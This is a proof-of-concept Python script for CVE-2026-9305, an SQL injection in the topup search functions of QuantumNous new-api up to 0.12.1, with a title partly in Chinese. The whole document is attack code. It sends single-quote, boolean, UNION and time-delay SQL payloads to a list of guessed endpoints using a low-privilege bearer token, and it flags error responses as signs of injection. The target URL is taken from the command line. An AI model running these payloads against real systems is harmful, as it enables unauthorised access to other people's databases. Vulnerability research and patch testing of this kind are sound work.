CVE-2026-9305 QuantumNous new-api SQL注入漏洞

# CVE-2026-9305 SQL Injection PoC for QuantumNous new-api # Affected: QuantumNous new-api <= 0.12.1 # Target: SearchUserTopUps/SearchAllTopUps functions in model/topup.go import requests import sys TARGET_URL = "http://target-server/api/" def exploit_sql_injection(): """ SQL Injection PoC for CVE-2026-9305 Target: /api/topup/search endpoint (or similar) """ # Basic SQL Injection test payload # Using single quote to trigger SQL error payload = "'" # Target endpoint - adjust based on actual API structure endpoints = [ "topup/search", "topup/search_user", "topup/search_all", "api/topup/search", "api/topup/search_user", "api/topup/search_all" ] headers = { "Content-Type": "application/json", "Authorization": "Bearer <your_token_here>" # Low privilege token sufficient } for endpoint in endpoints: url = TARGET_URL + endpoint # Test for SQL injection with single quote data = { "user_id": payload, "search_term": payload } try: response = requests.post(url, json=data, headers=headers, timeout=10) # Check for SQL error indicators if any(indicator in response.text.lower() for indicator in [ "sql", "syntax", "mysql", "error", "exception", "database" ]): print(f"[+] Potential SQL Injection found at: {url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text[:500]}") return True except requests.RequestException as e: print(f"[-] Error testing {url}: {e}") # Blind SQL Injection test payload print("\n[*] Trying blind SQL injection payloads...") blind_payloads = [ "1' AND 1=1 --", "1' AND 1=2 --", "1' UNION SELECT NULL--", "1'; SELECT SLEEP(5)--" ] for payload in blind_payloads: data = {"user_id": payload, "search_term": payload} for endpoint in endpoints: try: response = requests.post( TARGET_URL + endpoint, json=data, headers=headers, timeout=10 ) print(f"[*] Tested payload: {payload[:30]}... on {endpoint}") except: pass return False if __name__ == "__main__": print("CVE-2026-9305 SQL Injection PoC") print("Target: QuantumNous new-api <= 0.12.1") print("=" * 50) if len(sys.argv) > 1: TARGET_URL = sys.argv[1] exploit_sql_injection()